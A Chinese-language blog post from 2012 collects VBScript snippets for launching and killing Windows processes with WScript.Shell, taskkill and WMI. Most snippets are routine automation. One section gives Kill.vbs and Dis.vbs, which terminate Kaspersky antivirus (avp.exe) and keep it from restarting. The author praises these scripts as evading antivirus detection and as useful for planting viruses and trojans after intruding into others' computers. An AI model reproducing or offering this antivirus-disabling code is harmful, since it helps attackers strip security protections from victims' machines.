加载中…
个人资料
  • 博客等级:
  • 博客积分:
  • 博客访问:
  • 关注人气:
  • 获赠金笔:0支
  • 赠出金笔:0支
  • 荣誉徽章:
正文 字体大小:

VBS控制应用程序的打开关闭

(2012-09-04 14:57:11)
标签:

杂谈

越来越喜欢VBS啦
关闭所有excel文件
Set ObjShell=CreateObject("Wscript.Shell")
SttCommand=("cmd.exe /C  Taskkill  /f /im Excel.exe")
ObjShell.Run SttCommand, 0, False

用vbs打开程序 

检查程序,如已有就不打开!

pro="c:\windows\system32\notepad.exe"'要打开的程序,写完整路径

n=split(pro,"\")
name=n(ubound(n))

for each ps in getobject("winmgmts:\\.\root\cimv2:win32_process").instances_ 
s=s&sep&ps.name:sep="|":next
s=split(s,"|")
for i=0 to ubound(s)
if name=s(i) then wscript.quit
next

createobject("wscript.shell").run pro

====================================================================

vbs打开关闭应用程序

'1.打开关闭应用程序

Set WshShell = CreateObject("WScript.Shell")
'打开应用程序

Set oExec = WshShell.Exec("C:\WINDOWS\system32\notepad.exe")
WScript.Sleep 5000
WshShell.AppActivate oExec.ProcessID

WScript.Sleep 100
通过快捷键关闭程序

WshShell.SendKeys "%{F4}"

Set oExec = Nothing


'2. 通过进程名关闭程序

set WshShell =createobject("wscript.shell") 
'暂停3000毫秒 
wscript.sleep 3000

'关闭记事本. 关闭程序得知道程序的进程名,在任务管理器里面.
WshShell.run "cmd.exe /c taskkill /f /im notepad.exe /t",0
 
==========================================================================
用VBS实现脚本结束进程与防止进程启动

Kill.vbs用来在cmd下结束进程,Dis.vbs用来在窗口模式下防止某进程再次启动。这两个VBS都不会被杀毒软件KILL掉,并且有一定的隐蔽性……看代码!('为注释)  
Kill.vbs: 
for each ps in getobject _  
("winmgmts:\\.\root\cimv2:win32_process").instances_ '涉及到WMI脚本入侵技术,我不能解释清楚!  
if ps.handle=wscript.arguments(0) then '判断进程的PID号是否与获得的PID号参数相等  
wscript.echo ps.terminate '如果相等就结束指定PID号对应的进程  
end if  
next  

Dis.vbs:
dim y,x '不要这行也行……  
do '来个死循环……一直在判断!do ... loop内为循环体!  
set y=getobject("winmgmts:\\.\root\cimv2") '和上面解释一样,这也是涉及到微软的WMI技术!  
set x=y.execquery("select * from win32_process where name='avp.exe'")  
'查询语句,where后判断avp.exe(卡巴)是否存在进程中!  
'这样当卡巴被上面的Kill.vbs结束时就再也启动不起来了。除非,把Dis.vbs结束了先……  
for each i in x  
i.terminate() '卡巴要启动马上就终止……  
next  
wscript.sleep  
loop  
解释够清楚了,那就来看看这两个vbs是如何工作的吧。我将Kill.vbs与Dis.vbs放在C盘根目录下。  
打开cmd,输入cd\回到C盘根目录下,输入tasklist查看当前系统的进程情况,然后记下你想kill的进程的PID号,输入cscript Kill.vbs 2200即可结束PID为2200的进程了!假如这个进程是avp.exe,那你就可以输入Dis.vbs启动Dis.vbs来防止卡巴继续被启动。Dis.vbs启动时仅在任务管理器的进程中有wscript.exe进程项,要是不结束这个进程是无法再次启动卡巴的。  
懂得这些,为以后入侵他人电脑后上传病毒、木马之类的就更方便了一点点……上面的所有过程都经本人试验成功了,继续完善……  


=========================================================================

VBS,自动结束进程

先写上脚本代码先:

do while(1)
strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate}!\" & strComputer & "rootcimv2")
Set colProcessList1 = objWMIService.ExecQuery _
("Select * from Win32_Process Where Name = 'iexplore.exe'")
For Each objProcess1 in colProcessList1
objProcess1.Terminate()
Next
Set colProcessList2 = objWMIService.ExecQuery _
("Select * from Win32_Process Where Name = 'notepad.exe'")
For Each objProcess2 in colProcessList2
objProcess2.Terminate()
Next
Set colProcessList3 = objWMIService.ExecQuery _
("Select * from Win32_Process Where Name = 'ping.exe'")
For Each objProcess3 in colProcessList3
objProcess3.Terminate()
Next
Wscript.Sleep(1000)
Loop

把上面的代码用记事本保存先,上面的3个红色的进程名则是我要终止的进程名(注:一定要写全名哦~)

如果你要禁止多个进程只需把上面的蓝色部分代码段多复制几下,然后把其中红色部分的进程名改为你

想终止的进程名即可。

最下面的红色的“1000”表示脚本循环运行一次的周期时间,默认单位为:毫秒。1000毫秒即=1秒

就是说每1秒循环一次,自己可以根据你的实际情况自由改动

OK,代码都改好之后就可以把记事本的后缀名改为“.vbs”并运行可以了,你在看看你禁用掉的进程还可以

运行吗?呵呵,是不是感觉很不错,呵呵~

如果想把这个运行的VBS脚本关掉,请在任务栏把进程wscript.exe结束掉先,然后再把wmiprvse.exe结束掉

就可以啦~

另外请不要重复运行改好的脚本,否则任务栏里会出现多个wscript.exe进程,如果有多个这样的进程请手动

结束掉多余的,只留一个就OK啦

如果你想开机就自动执行的话,请把这个脚本放到启动栏里就可以了。

总的来说还是很实用的,例如机器中了病毒或者木马,找到它的进程名,然后把它的进程名添加到脚本里,

开启脚本,这样就能防止病毒进一步爆发减少你的损失,接下来就可以慢慢进行排毒工作了

0

阅读 收藏 喜欢 打印举报/Report
  

新浪BLOG意见反馈留言板 欢迎批评指正

新浪简介 | About Sina | 广告服务 | 联系我们 | 招聘信息 | 网站律师 | SINA English | 产品答疑

新浪公司 版权所有